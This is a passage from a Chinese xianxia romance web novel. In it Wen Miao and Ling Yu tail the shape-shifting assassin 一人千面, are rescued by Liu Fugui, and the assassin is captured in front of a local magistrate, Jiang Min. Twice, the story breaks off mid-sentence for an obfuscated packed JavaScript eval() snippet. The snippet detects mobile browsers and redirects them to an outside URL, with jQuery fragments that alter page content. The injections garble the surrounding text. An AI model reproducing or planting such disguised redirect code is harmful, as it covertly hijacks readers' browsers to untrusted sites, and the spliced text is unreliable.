温渺也替他高兴,说:“平安就好,还好她没有事。待你见到她一定多叮嘱几句,切莫太过责骂……经此一遭,她必然受了不少惊吓……”" 凌雨沉默了一会儿,才问:“这世上的错事,你都是可以宽谅的吗?” “那倒也不是。”温渺认真地想了想,说:“也要看对方因何犯错,是否故意,又是否真心悔改。” “不是故意,又真心悔改,便够了吗?”凌雨停下脚步,回头看着她。 “是人就会犯错 ,这世上许多错事,都可以被宽谅。”温渺摇头,不知想到了什么,语气都冷了几分。“但有的错,是人一辈子,无论如何都不能犯的。”凌雨的发丝被风轻轻拂动,额发投下的阴翳落入眼底,让他的眸色都黯淡了几分。 “我想也是。” 他垂下眼,继续往前走。 第23章 温渺他们跟着一人千面走了一长段路,一直到了某个门派的大门前,看到飘扬的府旗旁,还有一面飘扬的琅华旗,这才惊觉此处归属琅华管辖。露城本就位于三大仙门交接之地,他们是从苍山而来,出来却到了琅华,倒也不算奇怪。若换作从正常的驰道进入,必然是要递交路引向当地证明身份的。 一人千面拎着那袋银钱,到了某处僻静的小镇。 说是镇,其实也只比寻常的村落要好上一些,人流并不算多,道路也是崎岖狭窄,路边长两不少杂草,房屋还算密集些。花瓣很小,并不算显眼,在路上飘飘荡荡也并未引人注意。 温渺远远跟着一人千面,发现他在一处稍显宽阔,似是什么府院的地方停了下来。不过只是片刻,他又抬步离去。温渺等他走远了,才上前去看。 那座府院看着比周围的房屋商铺都要宽阔庄严,只是仍有些破旧,门槛都被踩裂了几块,檐下挂着的灯笼也褪了色,破了个小洞,摇摇欲坠地支撑着为数不多的气派。“正气司。”温渺念出牌匾上的字。 温渺想了想,作为魔道,看到正道的象征,脚步停一下好像也不奇怪。再穿过几条巷子,花瓣忽然飞过院墙,到了某个院子里去了。 温渺抬头看着那堵墙,正犹豫要不要翻进去看看,万——人千面进去是要害人,她就算打不过也能拖延时间让人逃跑。正犹豫着,凌雨扯了扯她的手,提醒道:“那棵树。”温渺朝着他的视线看过去,巷尾有棵高大的樟树,枝叶茂盛,刚好能遮住他们的身形。 温渺问:“你会飞吗?” 凌雨摇摇头。 “得罪了。”她伸出手臂,揽过凌雨的腰,他也十分顺从的将手臂搭过来。随后温渺御使灵气,身体随之一轻,带着凌雨便飞跃到了树枝上。 温渺落在树枝上一时没站稳,朝着前方栽去,连忙松开凌雨要去扶一旁的树枝,凌雨却不怕被她带倒,反将她的揽住。温渺与他紧密依靠,脸颊都撞在了他颈肩处,柔软冰凉的衣料从脸颊滑过,反让她面上暗自发热。她扶稳后,稍稍退开些距离,小声道:“多谢……”"无事。”他说。“若是站不稳,可以扶着我。" 温渺摇头,看向一人千面进入的院子。“能站稳的,我从前经常爬树,就是好久不爬,有点不习惯了……” 从前和温朗爬上爬下的,被阿娘教训了好几次,经常两个人一起被罚,西陵夫人见到还替他们兄妹说过话。 后来腿摔断了,倒是再也没爬过,见到稍高大的树都会心有余悸。只是如今挨得太近,倒是能闻到凌雨身上也有一股甜香。 只是想到他昨日去朝露间拿回翦花,想必是在朝露间浸染许久,衣衫才有了这股香气。温渺没有多想,她拨开眼前的枝叶,勉强看清远处的一人千面。那座院子并不算大,温渺透过半开的窗户,似乎看见里面有人影走动。 而一人千面站在屋外,不知何时又换了一身外衣。他紧挨着窗户,并不暴露身形,似在聆听他们说话。温渺有些担忧,看这架势,也不知他到底有没有要害人的意思。“小枣。”凌雨忽然出声唤她。温渺问:“怎么了?” 她话音才落,感觉到手掌被另一片冰凉覆盖,低头看见是凌雨的手,惊讶着便要将手抽回来,却听他说:“别动。” 随即他将手指挤进她的指缝,与她十指紧扣。 温渺想着,凌雨也不像是什么登徒子,何况她现在易容成了男人,也不该见色起意啊……正要发问,便感觉有灵力顺着紧密相扣的手缠绕上来。 而后,耳边忽然响起来寒寒窣窣的交谈声。 “烦死我了,前几日镇上刚处置过一批魔道妖邪,又从苍山跑来几个,抓都抓不完!”听嗓音似乎是一个年轻姑娘。 温渺眯着眼打量在那屋里走动的身影,的确有一个姑娘嘴巴一张一合,似是心中焦躁,在屋里走来走去。紧接着又传来一个妇人的声音。她淡声道:“苍山向来如此,也不是一日两日了,气什么?” 年轻女子更恼火了,道:“徐掌门都是仙首了,也不管管!哪儿有仙首当得这般窝囊!有棘手的妖庵,苍山的人不想受苦,便赶来琅华让我们的人处置,琅华的人命不是命吗?” 妇人继续说:“仙首的性格总是如此,少主虽正直,却也懦弱怕事,你要谋前途,早日投去丹阳派为妙。” 年轻女子忙道:“娘说的这是什么话,我是琅华的人,自幼生在此处,怎能轻易远走,不过听丹阳掌门是女人,拔擢弟子都是先挑女修……” 妇人笑了笑,调侃道:“我也是女人,是正气司的掌事。凭你的资质,能在丹阳当个内门已是庆幸,竟还想着受掌门拔擢,目光倒是放得长远……” 那女子讪讪道:“我不过说说而已,何况爹他……” 只听哐当一声响,使她的话戛然而止。 温渺被这拍桌子的一声巨响吓到,身体摇晃了一下,身旁的凌雨用臂弯轻轻抵住。 "吓到你了?" 凌雨看向她,一张俊雅斯文的脸靠得很近,呼吸几乎要落在她肌肤上。 两人的手指仍紧紧相扣,他低笑一声,道:“你的手好暖,我的手被捂热了。 此话一出,温渺感觉到自己的脸也开始发热了,她撒开脸不敢看他琥珀似的眼睛,一本正经道:“嗯,你应该是体寒,金大夫医术很好,可以让她看看。” 凌雨面上的笑意僵了一瞬,默默将脸扭了回去,淡声道:"不必了。" 那边院子里的声响并未停下,只听妇人忽然严肃道:“我说过,你爹早在百年前便身亡了。” "可那个人,他明明说过……" “他不是你爹。”妇人态度坚定地否决。"我不会连自己的枕边人是谁都分不清。"年轻女子悻悻道:“怎么可能不是呢,除了爹,谁会对我们这么好……” 妇人语气依旧冰冷。“这种事我没必要骗你,我比任何人都期望你爹活着,但那个人不是他。”温渺听不懂他们话里的含义,只见躲在墙外的一人千面忽然闪身躲在杂物堆后方,随后一女子走出屋外。 远远看去,也是一位身着轻便衣装的女修。 好了,我还有事务处置,你也早些去巡查。”女子嘱咐完便走了,没多久,屋里又跑出来一位,她的衣着要更鲜艳些,还梳着时兴的发髻,显然是说话的年轻女子。两人都离开后,一人千面才缓缓走出。 他在窗前站了一会儿,临走前,缓缓将包裹从窗口放进屋内。 温渺听到一声叹息,随后只见一人千面转过身,目光似是朝他们栖身的樟树上停顿了片刻。然而他仿佛并未发觉什么,跃出这座小院后,身影很快又消失不见。温渺追得劳心不已,不住在心中抱怨。 等此事解决,她一定好好修炼,若不然修为太低,旁人用神行术赶路的时候,她为了省下灵力追得双腿酸软。跑出去好一段路,温渺才想起来,凌雨怎么还牵着她的手? “慢下来了。”凌雨说。 他们一路追到了荒林,前方连个影子也不见,只剩下一片白色花瓣在慢慢飘动。温渺扶着树喘息,顺带将手抽了出来。 缓了没一会儿,只见那花瓣竟忽然朝着他们的方向飘了回来。温渺疑惑道:“是失效了吗?”凌雨没答话,竟是猛地将她推开,迅速将翦花挡在身前。 一道劲风以迅雷不及掩耳之势横扫而来,翦花发出激烈的铮鸣声,包裹在外的琴布片片碎裂,琴身上也出现数道裂痕,惟有琴弦安然无恙挡下方才一击。方才的白色花瓣已然被劲风击毁,化作琴弦回到原位。 温渺惊声道:“凌雨!” 凌雨的脸上颈间被打出数道伤痕,身后的树木已经轰然倒塌,激起一地飞扬的尘土。忽然出现的人影宛如鬼魅般,竟是再次运招杀了过来。温渺连忙拔剑挡在凌雨身前,飞纵的剑光虽减缓了攻势,在花榜十大杀手的面前依然脆弱如纸,轻易便被击破。 短刀迎面劈下,温渺持剑去挡。 两方强劲的力量相撞,兵器被震出刺耳的嗡鸣。 温渺握剑的手瞬间被震得疼痛不已,仿佛骨头也跟着碎裂了。 长剑瞬间断裂,一人千面及时收刀,带着邪风的劲气仍落在她身上,打得她飞出数丈,重重砸在地上,疼得喘不过气。 温渺望见伏在地上面色苍白的凌雨,想强撑着起身,竟是猛地呕出一口血,随后四肢百骸都跟着作痛。 她看到自己撑在地面的手变回了原先的纤细模样,顿时反应过来,方才那一击,让她的易容失效了。 一人千面冷冷道:“你的易容,简直漏洞百出……” 温渺看向凌雨的方向,他也正朝她看过来,四目相对,他一双眼眸中似惊似喜,不知是受伤导致的痛苦还是为何,温渺辨不出他异样的眼神,只见他直勾勾盯着她,仿佛要将她的面容刻在眼睛里似的.一人千面无视凌雨,径直走到温渺身前。 她紧张地要去摸断剑,无论如何,也要先活下来才有命解释。温渺仰头问:“你认出来了,那为何……” “我还当是城主授意,原是你自己找死。”他掐住温渺的脖颈,将她从地上提了起来。“住手!” 凌雨跌跌撞撞起身,扑过来要阻止。 一人千面一道掌风便将他又掀飞出去。 凌雨咳了几声,再回头看他的时候,眸中的怒火烧得炽盛,眼神似是要化作刀子将眼前人切碎。他咬牙切齿道:"够了!你好大的胆……"“凌雨!”温渺怕他激怒对方,忙出声喝止。一人千面的手指又扣紧了些,掐得温渺眼泪都出来了。 温渺余光瞥见凌雨伸手去够翦花,不想他自不量力害了性命,艰难道:“你……家人不愿……不愿认你。”一人千面皱起眉,手指却松开了些。"与你有什么干系?" 温渺终于能喘过气,她继续道:“你不肯改邪归正,她们永远也不会认你的……”她说完便被一把丢了出去,虽说摔得闷疼,好在不用被掐着说话了。“你懂什么……”一人千面面无表情,目光从凌雨盛怒的面上掠过。“若能与她们母女相认,莫说改邪归正,便是让我命不久矣,我也甘愿。” 方才那母女的态度,显然是那位妇人不愿相认,且坚定丈夫已经死去。温渺问:“那是你夫人与你仇怨难消?” 一人千面在窗外躲闪着不敢与她们相见,一副做贼心虚的模样,她难免忍不住怀疑:“你做 了亏心事,不敢面对她们?所以才躲躲藏藏,不敢以真面目示人。” 一人千面如今的面孔,想来也是一张假面。 温渺说完,他仍是冷着脸,只不过扭头多瞧了凌雨一眼。他道:“我没什么不敢面对的亏心事,躲藏也不是因为仇怨难消……”凌雨的喘气声更重了,他的手指紧扣着翦花,指节用力到泛着青白,像是极力忍耐着什么。 一人千面道:“我说了,你根本不懂。” 他话音落下,正要再抬手,一道剑气从天而降,四周林木以那道剑气为中心,被震得齐齐朝外倾倒。一人千面迅速移开身形,长剑猛地钉在他方才站立的方位,精准避开温渺,将地面轰出一个大坑,剑身却只是轻若无物般悬于半空。 是刘富贵! 温渺惊喜地看向飞掠而来的黑衣身影,长剑重回他手中,剑气掀起一片砂石,快而迅速,将一人千面的衣角削去一大片,连带他的手臂也划出伤口,淅析沥沥的血顺着手掌滴落。"你又是什么人?"一人千面顿觉不对,面色警惕地看了眼刘富贵,又看向凌雨的位置。 刘富贵并不回答,也不给他再发问的机会。 下一刻,荒林之中剑意飞散,剑气如雨铺天盖地,逼得一人千面连连后退,几难招架。而他每逢想闪身逃走,便又会被飞掠的剑影挡住去路。 虚虚实实的剑光在林中纵横,黑色衣袂在缭乱的剑气中游刃有余地飘扬。温渺看得一阵心惊,心中的敬佩也如潮水般,随着他的剑招一阵阵往上叠,视线根本难以从刘富贵身上移开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871831|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "咳……咳咳!" 好一会儿,她才注意到身旁的愈来愈重的咳嗽声。 温渺忙转身要扶住凌雨,他已经先一步探过身,指腹落在她被掐出红痕的颈上,似是想触碰,却又将手收回。 “你……”凌雨被一人千面所伤,脸上和颈间都被割出了伤口,血痕蜿蜒过他的眉眼,一直流到下颌,半张脸都是可怖的猩红。 他靠得很近,那些血滴落在温渺的裙边。 她歉疚道:“我有苦衷,不得已才骗了你。” 毕竟对方真心与她相交,几次为她身陷水火,既是做朋友,便该真诚以对,她却始终用假身份假面容与他相处,此刻不禁心中惭愧。凌雨却没说话,又将手抬了起来,这一次,手掌却是轻轻落在她的脸颊。 “这是你的本来面目。” 冰凉的掌心贴着她的脸,他认真地打量着她,面上丝毫不见被骗的恼怒。 温渺甚至没有听见他问为什么,他只是静静地凝望了她一会儿,忽然莫名其妙地低下头笑了起来。 他笑得肩膀轻轻颤动,垂落的发丝因血迹黏在一起,分明姿态狼狈,却因英俊的面容,无端显得有几分糜艳的美丽。 温渺心中大惊,翦花受损,又受好友蒙骗,凌雨莫不是气疯了? “我没有生气。”他抓着她的胳膊,忽然将额头抵在了她肩膀上。“我很高兴,能见到你的脸。” 听到他说不生气,温渺松了口气。 另一边,两人似是打得难分高下,仔细看去,刘富贵却神态从容,连发丝也不见散乱。无论如何,一人千面是花榜高手,也不是能轻易拿下的存在。 只见他刀风飞旋,四周一片飞沙走石,顿时遮蔽了视线。他的身影也隐在灰蒙的尘土中,试图从重重剑光的围捕下脱逃。温渺深受重伤,已经没有心力再出手,正当她担忧之际,只觉数道灵力袭来,朝着那飞扬的尘土打了过去。 有帮手! 温渺惊喜地朝来人看去,竟是金不收与几个正气司修士。 然而这时她才发现,一人千面的再次更换的衣着,正是与当地正气司如出一辙的制袍。“琅华派辖内,容不得妖魔猖狂。”领头的女子说完,祭出手中武器,朝着一人千面攻了过去。若在平时,一人千面压制自身魔气,彻底隐藏身份。正气司莫说碰到他一片衣角,只怕他在正气司混成了掌事也没人能发现他的身份。 这一回他却被刘富贵逼得魔气暴涨,混乱的魔气与仙门清正之气互相抵抗,金不收给正气司的人报了信,还不等找到荒林,便被这股巨大的灵气震荡吸引过来。 温渺听到女子熟悉的声音,抬头朝正气司的援手看去。凌雨已经勉强坐直身体,一半虚弱无力地依靠着温渺。她说:“这声音,是那座院子里的妇人,正气司的掌事?” 金不收已经越过战圈跑到她们身侧,二话不说从药壶里倒出两枚丹药,掰开温渺的嘴丢了进去,而后将另一颗丢到凌雨手上,提醒道:“你们受邪功所伤,当心溃烂不止,这枚丹药会涤荡体内阴南邪 气,记得自行运气。” 温渺乖乖将药吞进去,凌雨却迟疑着没有立刻动作。 金不收瞪着他,怒道:“你这是什么意思,怀疑我的医术?我还怕你不给钱呢,还我!”温渺忙安抚道:“莫要生气,他不是这个意思,可能是伤太重了,一时手脚酸软。”说着她便将丹药拿起,递到凌雨唇边。 凌雨看她一眼,轻叹口气,启唇将丹药衔入口中。 金不收盯着他将丹药吞下,不等他做出反应,便一把将他从温渺身边推开。“挨那么近做 什么?”她嘟囔了一句,随即将灵气凝聚指尖,触及温渺各处穴道,减缓她体内的伤势。 温渺听从金不收的话一边运气,一边观察不远处的战局。“刘道友是不是累了?”温渺不禁道。她发现正气司的人一来,他出招便不如方才凌厉了。金不收敷衍道:“应该是吧,修为不高,几招下来灵气便耗尽了。” 她说着脸色一变,二指重重点在温渺颈侧。“凝神,谁让你说说话了?” 温渺听从她的意思,余光瞥见一旁的凌雨,面色似乎不大好受。虽说脸上与颈间的伤口都已止住了血,脸色却比方才更显苍白。 她侧目仔细再看,凌雨的唇边竟是溢出一丝鲜红。 注意到她的视线,凌雨揩去唇角血色,扭过头,对她扯出一抹笑意。 他说:“只是方才撞破了舌尖,不碍事。”温渺这才放下心,忍不住道:“你若有伤,切莫要强撑。” 多了正气司的修士协助,原以为会更快降下一人千面,谁知场上的人越多越杂。 刘富贵独自对付倒还好,如今人多起来,一人千面最擅长幻术,无形中隐入人群,不知不觉便换上他人的脸。众人一出手敌我难分,总要当心伤到同伴,招式犹犹豫豫,顿时被打伤数人。小镇上的正气司,许多授了仙篆的修士们,能为还不如五大仙门的外门弟子。 一人千面一刀下去便能砍死好几个,若不是刘富贵在一旁出剑救人,此刻只怕已是横尸一片了。 人越多,场面反而越是混乱。 那位正气司的掌事看出这一点,不断出声安抚众人,喝止他们再胡乱出手。温渺缓过气,正想起身相助,便听凌雨深吸一口气,阴着脸不耐道:“烦死了。” 说完后,他飞身进入混乱的战局。 温渺顾及他的伤势,本想追上去劝止,却见他凝气在掌,竟是以手为刃,一记杀招迎了上去,直冲着正气司掌事!那位掌事不及察觉背后杀招,回身之时,掌刃已避无可避,眼看便要穿心而过。温渺出手制止不及,只听一声轻响,有血肉被猛然间贯穿。温渺睁大眼,怒而看向凌雨。 凌雨将染血的手臂缓缓抽出,血肉被搅动,发出令人牙酸的噗嗤声。他盯着面前的一人千面,散乱的发丝遮住眼底的疯狂,语气却是不加掩饰的畅快。 “找到你了。” 第24章 飞溅的鲜血,溅落在正气司掌事的身上,她回身看到这一幕,一时间惊愕到忘了动作。 温渺看到一人千面胸前狰狞的血洞,不知为何浑身忽然冰冷一片,指尖几乎不可抑制地颤栗起来。刘富贵收剑,面色凝重了不少,金不收已经飞似地跑过来,迅速封住一人千面各处灵穴,将他的性命保住。 众人纷纷看向凌雨,而他云淡风轻地甩了甩手上的血,无奈般地叹气,向温渺解释道:“我见他们迟迟拿不下人,这才出手,再让他拖下去,不知还要伤多少人。” 一人千面修为高深,尚且能挡住这致命一击,倘若方才不是他闪身来挡,只怕便那位掌事不死也要重伤。 分明还没有到最要紧的时刻,何必要拿人命来赌这一下。温渺知晓凌雨是出于好意,他有自己的考量,但她不能认同这种方式。 但如今并没有出事,又的确如他所说,很快降下了一人千面,她又何必出言指责,伤他一番好心。 但…… “你怎么了?” 刘富贵察觉到温渺面色不对,出声询问。 温渺并没有反应过来这是在问自己,目光落在一人千面身上没有应答,一只手已经伸了过来,握住她冰凉的手指。“你好冷。”凌雨凑近,垂着眼轻声询问,表情就像做错事的孩子,有些小心翼翼。“你脸色不好。”他问:“我做错了,是不是?”温渺的目光落在一人千面胸前的血洞上,不断扩散的猩红,仿佛也将她痊愈已久的旧伤牵动,她忽然觉得有点喘不过气。 “不是。” 她摇摇头,微微侧过脸去,想要平复自己的情绪。 凌雨意识到她想抽出手指,忙又抓得更紧,略慌乱地问:“你为什么不跟我说话了?” 温渺正想开口,便听到那位正气司掌事开口道:“在下天枢派姜旻,是本地正气司掌事,敢问几位是……” 她回身看去,只见那位姜旻,说话的时候,目光仍几次打量一人千面,面上丝毫没有抓住花榜杀手,立下大功的喜悦。严肃的表情中,掺了几分意味不明的情绪。金不收为一人千面封穴保命后,刘富贵又封了他的功体,让他昏死过去。她心中不满,起身后瞪了凌雨一眼,才对姜旻道:“在下金不收,江湖人称千金借命,旁边这位是我的徒弟。” 温渺想起要行礼,忙将手抽了出来,恭敬道:“姜前辈叫我小枣就好了,我是从昆仑来的,只是个小小的外门弟子,还没有仙篆。” 说完后,轮到凌雨,温渺担心方才凌雨的行为,让这位前辈心中有怨,便先他 步,道:“这是我的好友凌雨,琅华人土,只是寻常散修。方才他为破局 时情急,多有冒犯,险些伤了前辈,还请前辈见谅。” 凌雨见她这么说,也乖乖跟她一起低头,附和道:“还请前辈见谅。”姜旻的确有所不满,但一个小辈为正道除害,只是险些伤了她,并没有真的伤到。她作为正气司掌事,如何能与人计较这种事,想想便也算了,并没有介怀。她颔首道:"无碍,将人抓到便好。"说完,姜旻低下头,看向顶着她属下的脸,此刻正倒地不醒的一人千面。 身为无相,莫说重伤昏迷,即便是死,也不会立刻显出原形。 起初她不知道这几个人究竟是什么身份,有这样大的能耐,竟能与赫赫有名的一人干面缠斗这么久。不过千金借命的名号她是听说过的,能与这个人相交同行,想来不是简单人物,只要不在琅华作恶, 她也不必刨根问底。 但方才那一下,能想到利用她的命,逼一人千面现行,说明此人必然知晓了他们的关系。 想到这些,脸色难免不好看。 姜旻很快吩咐完余下弟子将伤者送回镇上,自己则带着亲信留下,准备与几人商议处置一人千面的事。温渺不好说出口,刘富贵却不会留情,直言道:“你方才之举太过极端,险些伤了无辜。”凌雨面对他,毫无方才认错的态度,冷笑道:“优柔寡断,不肯取舍,才是蠢人浪费时间。” 温渺听得皱眉,忙插进两人中间,无奈道:“人命不是随便可以舍弃的东西,我知你方才心急,日后切莫如此了……”她总是不愿先行以恶意揣测什么人,即便凌雨的行为她难以认同,又说出这种话,她还是想为凌雨开解,相信他只是一时情急。凌雨见她说话,似是站在自己这一边,便也应了一声不再争执。 刘富贵的视线落到温渺身上,轻轻掠过后,难得露出了一种不悦的表情,随后闭了闭眼,说:“与其护着他,不如先想想自己。”温渺正疑惑自己怎么了,姜旻已经转过身,忽地开口道:“我不曾私通魔道妖人,也不知他是什么人。”这说的,自然是地上那位一人千面。 毕竟一人千面能拼上性命替她挡招,他们之间是什么关系,用头发丝想也知道不寻常了。 面对金不收与刘富贵目光中的打量,她已经不愿再计较是否有人深挖过她的事。 凌雨扶着温渺,因为伤重,有气无力半搭在她身上,斜睨了姜旻一眼,幽幽开口道:“哦,你是说,这位赫赫有名的花榜杀手,是善心大发,才想着替你挡伤的吗?”姜旻面色立刻又阴了下去,刘富贵皱了眉,但也没说什么。 眼下的情形,姜旻看着的确很像是在撇清干系,为自己脱罪。 毕竟是仙门正道的修士,堂堂正气司掌事,摊上一个与花榜杀手纠缠的名头,无论她是否助其作恶,只怕都不能被正道所容。 “凌道友说话何必夹枪带棒,想知道什么,尽管开口便是。” 姜旻修炼百年,修为不算深厚,在琅华这种地方,也很难有多少作为,但毕竟是掌管一方安定的掌事,此情此景,她虽面色阴沉,气度仍是从容沉稳。 身陷这种不清不白,难以洗清的境地,也没有见到丝毫慌乱。 温渺上前一步,温声道:“姜前辈,苍山少主之死,想必前辈也听说了。一人干面极有可能是杀害柳少主的真凶,还请前辈派人通报仙首,暂且将他羁押在正气司的牢狱中。”温朗的事轰动天下,哪怕是他们这种不起眼的小镇,对这事也是讨论得沸沸扬扬,姜旻自然是知晓,却不知此事能和这名无相扯上关系。 通报给仙首,来的只怕不止是琅华的人。 落到柳无负手上,一人千面非死不可。 姜旻低头看向地上血衣加身的人,万千心绪涌上心头,一时间竟不知作何表情。今日之事,迟早是要传出去。 仅凭一个药修和几个师出无门的寻常修士,怎么可能凭实力将一人千面制住。 她虽疑心那位剑修的身份,但一人千面毕竟是因她才被这么快拿下,若琅华和苍山派来的人问起,只怕她是跳进泥潭,如何都洗不清了。 刘富贵和金不收并不知晓其中内情,但看眼下的状况,凌雨的行为,必然是发现姜旻和一人千面关系匪浅,但看她的态度,又不像真的与他勾结。 刘富贵道:“姜前辈,为了你自己着想,此事还提早说清最好。” 他们只是来抓人,姜旻要如何证明自己的清白,本就是她自己的事,但她毕竟是被凌雨这一招扯进来的,他们不能坐视不理。金不收沉默良久,忽然道:“天底下的无相,已经所剩无几了,露城竟出了这样的天才,可惜……”或许是天道平衡,无相一族虽有易容换面的天赋,修行上却比凡人更加艰难,一族中极少出现有修行资质的人。 一人千面修行百年,修为在修士,甚至是花榜中,都不算什么佼佼者。但对于无相而言,已是难得一见的资质,更何况他的易容术,几乎称得上是无相百年难得一见的天才。可惜他走入歧途,选择为花榜卖命,再难得的绝世奇才,送到五大仙门,都逃不过灰飞烟灭的命。 温渺结识金不收的这段时日,还是第一次见到她露出这样的神情。金不收叹息一声后,问姜旻:“一人千面的真名是什么?”姜旻答得毫不犹豫:“不知。” 金不收皱了下眉,起身道:“趋利避害是人之常情,但他愿意为你而死,也不必如此急于撇清干系。” 姜旻在正气司任职,见到的荒唐事比堂前枇杷树上的果子还多,对于这种清测,她连一点恼火都没有,只是无奈 笑,说:“我当真不知,我既不知他的真名,也不知他的真面目,连他是一人千面,也是今日才知晓。" 温渺也不禁错愕。“怎么会?” 听她们的对话,姜旻的女儿,似乎已经将一人千面当作父亲来看待,会连他是谁都不知晓吗?温渺想什么都写在脸上,姜旻一眼便看出她的困惑,对她说:“连他自己都不知晓,我又如何得知呢?”他自己都不知晓? 听到这种话,众人纷纷面露不解。 这话的意思,莫非是说,连一人千面也不知道自己是谁? 姜旻却不再解释,而是转过身,说:“此地不便,诸位身上还有伤,不如随我一同到司中。关于他,我知无不言。”姜旻吩咐两个亲卫将一人千面抬起,随后几人也、一同跟上。 温渺走了没几步,便感觉到有人拽住了自己胳膊,本以为又是凌雨,回头却发现是金不收。“怎么了?”她问。 金不收翻了个白眼,擦兜里掏出一面小铜镜举到她面前。“啊!”温渺大惊失色,发出一声短促的惊叫声。姜旻回过头看她,关切道:“姑娘可是身体不适?”温渺红着脸摇头,金不收摆摆手道:“她没事,死不了人的。” 温渺深吸一口气。 她终于明白,刘富贵说让她先想想自己是什么意思了。 她的易容失效了! 方才与一人千面打斗太过惊险,她只来得及顾着保住自己跟凌雨的性命,哪还记得易容这回事。 本来她易容便是为了不被西陵砚知晓,西陵砚不在场,出身花榜的一人千面又被他们拿下了。这几位都是朋友,也不知她身份,更别提害她,被发现也不会怎么样的。但刘富贵竟是连一点惊讶都没有? 自己相处几日的同伴忽然换了一张面孔,他都不奇怪的吗?她正想问,刘富贵已经开口道:“行走江湖,见多了,不奇怪。”他的目光从温渺身上掠过,问:“伤势如何,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871832|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能撑吗?”温渺点头:"我没事,凌雨伤得比我重。他的翦花也坏了..."凌雨道:“死物而已,你无事便好。”刘富贵在温渺左侧,与她靠得很近,却仍有一步距离。 他走动时的衣袖扬起,袖角时而轻擦过她手背。 温渺扭头看他,他则目视前方,平静道:“下次再有这种事,先顾及自己,若不是我及时赶到,你们二人性命堪忧。” 温渺抱歉道:"是我太心急了,怕他跑掉,本来没想着交手的,没想到被他发现了..…"“嗯。”刘富贵听了解释,也没有生气的意思,继续道:“剑穗坏了?”“对不住,被西陵砚拿走了,我……”“西陵砚?”金不收与刘富贵异口同声。金不收狐疑道:“不对啊,没有他进城的消息,他是什么时候偷偷回朝露间了?” “他没发现你的身份?”刘富贵面色严肃了不少。 温渺猜他说得是她假扮这回事,没有被西陵砚戳穿。 她想到此事,不由叹了口气,道:“没有,他行事疯癫,我猜不透他的心思,也不曾被为难。”金不收拍了拍她的肩,佩服道:“你真是又倒霉又命大,几次遇上他都能死里逃生。”温渺想到西陵府,笑得有几分苦涩。 她说: "可能我看着不起眼,西陵砚对我没有兴致。"沉默了好一会儿的凌雨,此刻突然出声道:“没有不起眼。” 温渺向他看去,才发觉不知何时,凌雨离她已经这么近了,比刘富贵还近许多。他微微侧过身,一个低头,发丝便从她眼睫轻轻扫过,留下若有似无的甜香。 他眼睛黑得像琉璃珠,会在日光下折射出瑰丽的光彩,此刻那双眼贴近了她,倒映着她真正的模样。 "无论你在何处,我总能第一眼看到你,找到你。" 温渺被他这么盯着看,不知为何,心中突如其来一阵仓皇。她不知如何回答,嘴唇张了张,仍是一个字也吐不出。 好在刘富贵及时开口,让她的仓皇无措也随之消失。 "只是剑穗,不必道歉,你无事便好,日后我再挑合适的法器赠你。"他说完后,便听凌雨叹了口气。 刘富贵极少与他交谈,此刻竟也忍不住道:“你又想说什么?” 凌雨神情落寞,抱着翦花,轻抚琴身上的裂痕。“我只是感慨,刘道友法器众多,我却唯有这把翦花琴,如今连唯一的法器也保不住……”刘富贵冷笑道:“不是死物吗?何必失意?” “琴是死物,人却有血肉。”他说着,又垂眸看向温渺。“但想到翦花是为护你我性命而损毁,倒也是一种‘死得其所''。” 温渺既可惜又歉疚,安慰道:“或许还有修复的可能,听说各大仙门中都有炼器宗,待此事了结,我帮你一同寻找复原之法。” 他眼含感激,轻声道:"小枣,你很好,多谢你。" “我们是朋友,应该的,何必说这些话。”温渺听得有些不好意思,忙说:“我只是寻常人,也不算很好。” “是真的。”凌雨的神情正经了许多,他抓着她的手腕,语气沉了下来,虽不减柔和,却又莫名比方才郑重。"很久以前便该说了,只是……意外好多。" 意外……是了。 温渺想到遇见凌雨之后,先是在不信教中了花毒,二人分开。再后来林中相遇,又被西陵砚重伤,再分离,最后到露城,他又忙着拿回翦花,的确是意外好多。但她所做的都是应该,也没什么好谢的,相反凌雨已经帮她许多许多了。 凌雨又重复了一遍,声音压得很低,却足以让身侧的她听清楚。“你很好,多谢你,真的……多谢你。” 一行人回到正气司,一人千面被封了灵力关押起来。 小镇上的正气司要老旧许多,庭院中一棵高大的枇杷树,几人便围坐在石桌旁,姜旻让人送上茶水和糕点,便暂时去处理事务。 金不收为几人看伤的同时,温渺也将自己知晓的事告知他们。 听完她的话,金不收怀疑道:“难不成是一人千面用假身份与姜旻成婚,被发现他是魔道妖人,姜旻便不再认他?” 她猜测完,又立刻接道:“那也太缺德了,用假脸假名骗人感情,当真该死,是我也要在他身上穿个窟窿……” 凌雨瞥了她一眼,淡淡道:“或许是另有隐情,担忧自己的真实身份不被接受呢?” 金不收冷哼两声。"骗人就是不行,连坦诚相待都做不到,还想要真情。" 温渺的易容也才失效,听得一阵惭愧,头也不抬,只跟着她的话点头,一旁的刘富贵也沉默良久。 正当金不收将气氛说得尴尬不已的时候,姜旻走入庭中。 “没有骗人,我想……只是误会。”姜旻开口道。 显然她听到了金不收的猜想。 金不收不满道:"若有误会,解释清楚不就是了。" 这误会没那么简单。”姜旻走近,坐在温渺对面的位置。“他记不清自己的过往,连自己真正的面目都忘却,但他坚信,我与他是夫妻。” 第25章 温渺刚表现出困惑的神情,身旁的两个人便想为她解释,异口同声道:“无相……” 